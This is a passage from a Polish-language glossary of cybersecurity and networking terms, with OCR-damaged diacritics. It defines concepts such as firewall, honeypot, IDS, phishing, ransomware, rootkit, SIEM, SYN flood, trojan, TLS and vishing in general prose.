(urzadzenie), ktérego podstawowa funkcjg jest filtrowanie
ruchu sieciowego. Mozna wyodrebni¢ zapore lokalng

w postaci narzedzi systemu operacyjnego (chronigca
lokalny zaso6b przed zagrozeniami pochodzacymi

z sieci) lub sieciowg, czesto w postaci specjalistycznego
urzadzenia chronigcego wieksza liczbe zasobow.

FQDN (ang. Full Qualified Domain name) — petna nazwa
domenowa zasobu dostepnego w sieci Internet, sktadajgca
sie z nazwy zasobu oraz domeny, ktorej jest czescia np. www.
orange.pl (www to nazwa zasobu, a orange.pl to domena,

w ktorej sie znajduje). FQDN dla witryn internetowych jest
czescia URI / URL.

Honeypot - ,garnek miodu”; putapka majgca na celu
wykrycie préby nieautoryzowanego dostepu do systemu
komputerowego lub pozyskania danych. Najczesciej
skfada sie z wyizolowanego komputera wraz z
wyodrebnionym obszarem sieci lokalnej, ktore razem
udajg prawdziwa sie¢, ale sg odizolowane i odpowiednio
zabezpieczone. System taki ma sprawia¢ wrazenie jakby
zawierat dane lub zasoby atrakcyjne z punktu widzenia
potencjalnego intruza.

HTTP (ang. Hypertext Transfer Protocol) — internetowy
protokét aplikacyjny, zazwyczaj wykorzystywany

do przekazywania wpisanych w pasku adresu przegladarki
internetowej zapytan uzytkownika do serweréw WWW,
aby nastepnie przekazaé¢ odpowiedz serwera WWW
zawierajaca intersujaca tres¢ do przegladarki uzytkownika
w celu jej ,wizualizacji” w postaci np. strony internetowe;.
Zastosowanie protokotu HTTP jest znacznie szersze,

ale przedstawiony przypadek jest najbardziej
charakterystyczny.

HTTPS (ang. Hypertext Transfer Protocol Secure) — protokét
bezpiecznej komunikacii, ktory jest rozszerzeniem protokotu
HTTP i umozliwia bezpieczng wymiane informacji dzieki
szyfrowaniu danych. Przy korzystaniu z bezpiecznego
potaczenia HTTPS adres internetowy zaczyna sie od ,https://”.

ICMP (ang. Internet Control Message Protocol) — protokdt
komunikacyjny, stuzacy do przekazywania komunikatéw
o nieprawidtowosciach w funkcjonowaniu sieci IP

oraz innych informacji kontrolnych. Jednym

z programow, ktore wykorzystuja ten protokot jest ping,
ktory pozwala sprawdzi¢ czy istnieje potaczenie z innym
komputerem w sieci.

IDS (ang. Intrusion Detection System) — system wykrywania
wiaman. System IDS monitoruje ruch sieciowy, wykrywajac
i powiadamiajac o zidentyfikowanych zagrozeniach.

Incydent - zdarzenie zagrazajgce lub naruszajgce
bezpieczenstwo w sieci internet. Do incydentow zalicza
sie m.in.: wtamania lub préby wiamar do systeméw
komputerowych, ataki typu DDoS, spam, rozsytanie
ztosliwego oprogramowania i inne przypadki naruszania
zasad, ktére obowigzujg w sieci internet.

loT (ang. Internet of Things) - Internet Rzeczy; koncepcja
systemu gromadzenia, przetwarzania i wymiany danych
pomiedzy ,inteligentnymi” urzadzeniami, za posrednictwem
sieci komputerowej. Do loT zalicza sie m.in.: urzadzenia
gospodarstwa domowego, artykuty oswietleniowe, budynki,
pojazdy, itp.

IP (ang. Internet Protocol) — jeden z najwazniejszych
protokotéw komunikacyjnych, uzywany do transmisji
danych w sieci Internet. Zdefiniowany w trzeciej

warstwie modelu OSI (L3) wykorzystywany jest

do okreslenia trasy, ktérg pakiet ma dotrze¢ do celu.
Obecnie wcigz najpopularniejszg jest czwarta wersja
protokotu (IPv4), ale jego nastepca jest wersja szosta (IPv6).

IPS (ang. Intrusion Prevention System) — system
wykrywania zagrozen i zapobiegania atakom w czasie
rzeczywistym.

ITIL (ang. Information Technology Infrastructure
Library) — biblioteka opisujaca kompleksowe podejscie
do $wiadczenia ustug w modelu ustugowym.

Keylogger — program lub urzgdzenie, ktore dziatajg
rejestrujg dane wprowadzane za pomocg klawiatury.
Stuza do sledzenia dziatan i przechwytywania poufnych
danych uzytkownika (np. danych uwierzytelniajacych,
numeréw kart kredytowych, danych kompromitujgcych
i innych).

Luka - patrz: Podatnosé.

Malware (ang. malicious sofware) — ztosliwe
oprogramowanie, ktérego celem jest szkodliwe dziatanie
w stosunku do uzytkownika komputera. Zalicza sie

do niego m.in. wirusy komputerowe, robaki internetowe,
konie trojanskie, programy typu spyware.

MSISDN (ang. Mobile Station International Subscriber
Directory Number) — numer telefonu; numer abonenta
sieci komorkowej..

OWASP (ang. Open Web Application Security Project)

- globalne stowarzyszenie, ktére gtéwng ideg jest
poprawa bezpieczenstwa aplikacji webowych.
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Phishing - rodzaj oszustwa internetowego, ktérego celem
jest kradziez poufnych informacji od osoby (lub firmy)
bedacej celem ataku lub infekcja urzadzenia uzytkownika
ztosliwym oprogramowaniem do osiagniecia innych celéw.

Podatnosc¢ (ang. vulnerability) — btad, luka; cecha
sprzetu lub oprogramowania, stanowigca zagrozenie
dla bezpieczenstwa. Moze zosta¢ wykorzystana
przez atakujgcego, jezeli nie zostanie zainstalowana
odpowiednia poprawka.

Poprawka (ang. patch) — aktualizacja oprogramowania
w postaci kodu zrédtowego lub w wersji binarnej,
naprawiajgca zidentyfikowane w nim btedy.

Ransomware (ang. ransom - okup) — rodzaj ztosliwego
oprogramowania, ktéry po wprowadzeniu do systemu
uzytkownika szyfruje pliki na dysku. Odszyfrowanie
wymaga zaptacenia cyberprzestepcom okupu.

Robak (ang. worm) internetowy — samoreplikujacy

sie ztosliwy program komputerowy. Rozprzestrzenia
sie we wszystkich sieciach, do ktérych jest podtaczony
zainfekowany komputer, wykorzystujac luki w systemie
operacyjnym lub naiwnos$¢ uzytkownika. Robak potrafi
m.in. niszczy¢ pliki, wysyta¢ spam albo peti funkcje
backdoora lub konia trojanskiego.

Rootkit - program, ktérego zadaniem jest ukrycie
obecnosci i aktywnosci ztosliwego oprogramowania
przed narzedziami zabezpieczajgcymi system. Rootkit
usuwa ukrywane programy z listy proceséw i jest
wykorzystywany przez atakujagcego w celu uzyskania
nieautoryzowanego dostepu do komputera.

SIEM (ang. Security Information and Event Management)
— system pozwalajgcy na gromadzenie, filtrowanie

i korelacje zdarzen, pochodzgcych z wielu réznych
zrédet. Wyniki korelacji zdarzen sg wykorzystywane
przez zespoty Security Operating Center (patrz: SOC)

lub inne zajmujace sie monitorowaniem stanu
bezpieczenstwa ustug.

Sinkholing (ang. hole -dziura) — polega na przekierowaniu
niepozadanego ruchu sieciowego, generowanego

przez ztosliwe oprogramowanie lub botnety. Przekierowanie
moze odbywac sie pod takie adresy IP, gdzie zawarto$é
tego ruchu moze by¢ przeanalizowana, jak rowniez

pod nieistniejgce adresy IP.

Skanowanie portow (ang. port scanning) — dziatanie
polegajgce na wysytaniu danych (datagraméw TCP
lub UDP) do okreslonego zasobu w sieci. Pozwala
ono uzyskac¢ informacje o aktywnosci okreslonych
ustug. Skanowanie przeprowadzane jest zwykle

w fazie rekonesansu w celu pozyskania informacji

o interesujgcym zasobie.

SLA (ang. Service Level Agreement) — umowa (moze
réwniez stanowi¢ osobny rozdziat w innym kontrakcie)
o gwarantowanym poziomie $wiadczenia ustug,
ustalonego miedzy klientem a ustugodawca. Termin

132

jest czesciowo powigzany z modelem ustugowym
opisanym w bibliotece ITIL.

Sniffing — dziatanie polegajace na podstuchiwaniu ruchu
w sieci. Sniffing moze by¢ wykorzystany do zarzadzania
i usuwania problemoéw w sieci przez administratoréw
ale takze przez cyberprzestepcéw do przechwytywania
poufnych informacji uzytkownikéw (np. haset).
Popularnym atakiem wykorzystujacym ten mechanizm
jest MiTM (ang. Man in The Middle).

SOC (ang. Security Operations Center) — Operacyjne
Centrum Bezpieczenstwa, taczace zaréwno funkcje
techniczne, jak i organizacyjne przy monitorowaniu zdarzen,
wykrywaniu incydentéw bezpieczenstwa oraz do
podejmowania reakcji. Wykorzystuje one systemy typu
SIEM korelujace zdarzenia z wielu zrédet (patrz: SIEM).

SPAM - niezamowione i niechciane wiadomosci, rozsytane
masowo, zazwyczaj przy uzyciu poczty elektronicznej.
Spam to najczesciej wiadomosci reklamujace produkty

lub ustugi.

Spoofing — dziatanie wykorzystywane w naduzyciach

w sieci Internet. Najczesciej wykorzystywany jest: Spoofing
adresu IP, podczas ktérego atakujacy ukrywa prawdziwy
adres wskazujac na inne zrédto ataku, Spoofing adresu
e-mail, w ktérym atakujgcy podszywa sie pod innego
nadawce oraz Spoofing domen, ktéry podczas ataku
typu Phishing ma nakfoni¢ ofiare do klikniecia w link

i odwiedzenia odpowiednio spreparowanej strony
internetowej podszywajacej sie pod znany podmiot

(np. strona internetowa banku, firmy kurierskiej czy
znanej organizacji publicznej) — patrz Phishing.

Spyware (ang. spy software) — program szpiegujacy
dziatania uzytkownika bez jego wiedzy Zbierane informacje
dotyczg m. in. adreséw odwiedzanych stron internetowych,
adres6w e-mail, haset czy numerdw kart kredytowych.

Do programow typu spyware nalezg m. in. adware, trojany

i keyloggery.

SSL (ang. Secure Socket Layer) — bezpieczny protokdt
zapewniajgcy poufnosc¢ i integralno$é transmisji danych.
Obecnie najczesciej uzywana jest wersja SSLv3 uznawana
za standard bezpiecznej wymiany danych i rozwijana

pod nazwa TLS (ang. Transport Layer Security).

SSL negocjacja - etap, w ktérym uczestnicy konwersaciji
(systemy) dostosowujg wzajemnie optymalne parametry
komunikacji w taki sposéb, aby zapewni¢ maksymalng
zgodno$¢ protokotu (algorytmoéw) pomiedzy stronami.
Jest to bardzo uzyteczna ale tez niebezpieczna funkcja

w przypadku podatnych wersji protokotu.

SYN (ang. synchronization) — jedna z flag protokotu TCP,
wystana przez klienta do serwera w celu zainicjalizowania
potaczenia.

SYN Flood (ang. flood - zalanie) — atak oparty jest
na podatnosci protokotu TCP w procedurze three-way
handshake. Atakujacy wysyta na porty TCP datagramy

z flaga SYN, ktéra stuzy do inicjowania potgczenia
pomiedzy hostem zrédtowym a docelowym.

Nastepnie, system atakowanego odpowiada wiadomoscig
SYN-ACK, ktéra otwiera port i czeka na potwierdzenie
nawigzania potaczenia - czeka na flage ACK

od atakujacego. Kolejny datagram z flagg ACK jednak

nie jest przesytany, przez co potaczenie nigdy nie jest

w peti ustanawiane, ale przez okreslony czas ,,ofiara”
oczekuje na potwierdzenie utrzymujgc tablice sesji,

co wykorzystuje jej zasoby.

TCP (ang. Transmission Control Protocol) — protokét
potgczeniowy; jeden z podstawowych protokotéw
sieciowych, stuzacy do sterowania transmisja danych
w sieci internet. Wymaga nawigzania potaczenia
pomiedzy urzadzeniami w sieci i umozliwia uzyskanie
potwierdzenia, ze dane dotarty do adresata.

Trojan — kon trojanski; ztosliwy program, ktéry
umozliwia cyberprzestepcy zdalne przejecie petnej
kontroli nad systemem komputerowym. Instalacja
konia trojanskiego najczesciej odbywa sie poprzez
uruchomienie ztosliwych aplikacji pochodzacych

z niezaufanych stron internetowych lub zatgcznikow
mailowych. Poza zdalnym wykonywaniem komend,
trojan moze umozliwi¢ podstuchanie komunikaciji

i przechwyci¢ hasta uzytkownika.

TLS (ang. Transport Layer Security) — bezpieczny
protokét zapewniajgcy poufnoscé i integralno$é transmisji
danych. Obecnie najczesciej uzywana jest wersja

TLS 1.2, ale coraz wiecej ustug w internecie wykorzystuje
wersje TLS 1.3.

UDP (ang. User Datagram Protocol) — protokot
bezpotgczeniowy, jeden z podstawowych protokotow
sieciowych. W przeciwienstwie do TCP, nie wymaga

on nawigzywania potgczenia, obserwowania sesji miedzy

urzadzeniami i potwierdzenia, ze dane dotarly do adresata.

Dzieki czemu wykorzystywany jest do transmisji
w czasie rzeczywistym (real-time).

URL (ang. Universal Resource Locator) — adres uzywany
do identyfikacji serwerow i ich zasobdéw. Niezbedny
w wielu protokotach internetowych (np. HTTP).

Use Case (ang. Przypadek Uzycia) — moze by¢
swoistg procedurg, scenariuszem dziatania czy zbiorem
wymagan. Termin najczesciej stosowany w przesziosci
w inzynierii oprogramowania, ale obecnie jest bardzo
popularny w wielu obszarach dotyczacych IT, a nawet
innych dziedzin technicznych.

Vishing (Voice phishing) — phishing realizowany

za pomocag gtosowych potgczen telefonicznych.

Jego skutecznos$¢ czesto zwiekszana jest poprzez
zastosowanie CLI spoofingu — odpowiedni numer
prezentujacy sie osobie odbierajacej potaczenie pomaga
przekonac jg, ze potaczenie inicjowane jest np. przez
pracownika banku czy firmowego helpdesku i zwieksza
szanse oszustwa polegajgcego na naktonieniu rozméwcy
do przekazania poufnych informaciji, zainstalowania

ztosliwego oprogramowania, czy tez wejscia
na fatszywa strone WWW utworzong w celu wytudzenia
danych logowania i haset jednorazowych.

VolP - (ang. Voice Over Internet Protocol) — ,telefonia
internetowa”; technika umozliwiajgca przesytanie dzwigkdéw
mowy za pomoca taczy internetowych. Dane dzwiekowe
przesyfane sa przy wykorzystaniu protokotu IP.

Wirus (ang. virus) — ztosliwy program lub fragment

kodu ukryty wewnatrz innego programu, ktory replikuje
sie w systemie operacyjnym uzytkownika. W zaleznosci
od typu wirusa, posiada on rézne funkcje destrukcyjne,
od wys$wietlania napiséw na monitorze, poprzez usuwanie
plikéw, a nawet formatowanie dysku. Od dekadly,

ten typ zagrozenia ma coraz mniejsze znaczenie

na rzecz innych zagrozen.

Zdarzenie (ang. Event) - pojedyncza zarejestrowna
aktywnos¢ w systemie wynikajaca z dziatan uzytkownika,
aplikaciji, ustugi itp. Kilka powigzanych ze soba zdarzen
moze w systemach monitorujgcych bezpieczenstwo
(patrz: SIEM) wygenerowaé incydent, ktdry powinien
zosta¢ poddany analizie automatycznej lub reczne;.
Zdarzenie moze przeksztaici¢ sie w incydent.

Nawet jedno zdarzenie wynikajace z nieprawidtowego
dziatania systemu, przetamania zabezpieczen lub innym
wrogim dziataniem moze zosta¢ zakwalifikowane

jako incydent.
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